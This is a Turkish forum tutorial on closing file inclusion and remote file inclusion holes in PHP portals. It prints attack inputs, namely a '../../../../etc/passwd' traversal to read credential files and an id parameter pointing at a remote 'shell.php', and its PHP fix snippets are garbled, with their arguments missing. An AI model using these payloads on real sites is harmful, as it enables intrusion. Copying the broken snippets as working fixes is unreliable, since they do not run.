bende ufak bi kod verim. Belki işinize yarar :) . haber. php?id=xx gibi sayfalarda gelen karakterlerin numeric olmadıgını kontrol ettirebiliriz. Deilsene karşısına msj verebiliriz<?$gelenid = $_GET ; if (! is_numeric ?>dkümanı paylaştıgın için saol.

s. a. arkadaşlarbu dkümanımda php portal, scriptlerinde bulunan file inclusion ve Remote File İnclusion açıklarını kapatmayı anlatacağım.. php coderlar için yararlı olacağını düşünüyorum.. php sitelerde sürekli rastladığımız bir kullanımıdır;rneğin; haber. php?id=1 şimdi buraya kadar bir sorun yokkullanıcı bu adrese girdiğinde haber. php deki id 1 li haber sayfada grünecektir.. ama kullanıcı id= tanımlanmamış veya olmayan bir değer girdiğinde sistem hata verecektir. hata vermesi ne işine yarar diyebilirsiniz ancak ufak hatalarla sistemlere sızıldığıda bu açık için bir gerçektir.. rneğin hatamızı şunla alalımhaber. php?id=-1şimdi haber. php den -1 id li haberi istedik -1 id li haber olmayacağına gre portal hata verecek ve asıl işlem şimdi başlayacaktır. verilen hata Warning: main(-1) : failed to open stream: No such file or directory in /www/kurt/baba/kurtbaba/index. php on line 124Fatal error: main : Failed opening required '-1 in /www/kurt/baba/kurtbaba/index. php on line 124Şimdi hatamız da normal kullanıcı için bir sorun yok yle yada byle gerçek id yi girip sayafa girecektir. ancak sayfaya giren kişi hata almak için girdiğini düşünün o zaman bu hata çok tehlikeli olabilir.. yukarıdaki hatada index. php den nce 4 klasr var www/kurt/baba/kurtbabademekki 4 dizin atlarsak serverın anadizinine geliriz demektir.. peki bunu nasıl yapacağız?bunuda taksim kullanarak yapacağız.../../../../ 4 klasr olduğu için 4 tane taksim attık ' .. ' geç anlamında uzaktaki dosya anlamında taksimlerden sonra kullandık..4 dizin atladıktan sonra genelde serverlarda şifrelerin tutulduğu yer etc/passwd klasrüdür bunuda aynı şekilde../../../../etc/passwd dersek serverdaki sitelerin tümünün db adları ftp passları karışımıza gelir.. Açığın ne kadar tehlikeli olduğunu grdük, Şimdide açığı nasıl kapayabileceğimizi ğrenelim.. bu yntemden korunmak için php coderlar şu 4 koda dikkat etmeli ve her grdükleri yeri $define ederek güvenliği sağlamalılardır. kodlarımız include , include_once , require ve require_once Şimdi açığın php de engellenmesi için birkaç yol var ilk anlattığım yolla REMOTE FİLE İNCLUDE açıklarını kapatmak için kullanabilirsiniz... bu yolla sistem sadece kendi ftp dizinimizde olan dosya çağırma zorunluluğu koyacağız.. bu sayede kullanıcı başka siteden veya serverdan bilgi çekemeyeck.. remote file includeden kısaca bahsedeyim;FI, RFI nin gelişmiş hali denilebilir FI de serverdan bilgi isteriz RFI de uzaktan çağırdığımız kodlarla server daki dosyalar, diğer sitelere erişiriz rnek kullanım http://site.com/haber. php?id=http://siteadi.com/shell. php bu şekilde uzaktan çağırdığımız. php fso lar sayesinden serverda root olmaya kadar gidebilirsiniz..'<?php' 'error_reporting(0);''define ;''İF(! include_once ''exit ;''?>'Şimdide FİLE İNCLUSİON a neden olan kodları tanımlayıp, açığı engelleyelim..'<?php''error_reporing(0);''define ;''$pages = array ;''İF(in_array ''if(! include_once ''exit ;''else'exit ;''?>Şimdi ben size 2 yolu anlattım php de güvenliği sağlamak elbette bu kadar kolay değil ancak php de kodlamaya yeni başlayanlar bu kadarını bilmeleri yeterli. ayrıca ingilizcesi olanlar ingilizce yüzlerce dkümana ulaşabilirler.. çok ileri düzey anlatımlar var ingilizce.. http://www.google.com.tr/search?hl=tr&... p+security& ; ; ; ;meta=neyse benden bu kadar dkümanda geçen her kelime tarafımca yazılmıştır.. Kolay gele. KURTEFENDY Kurtefendy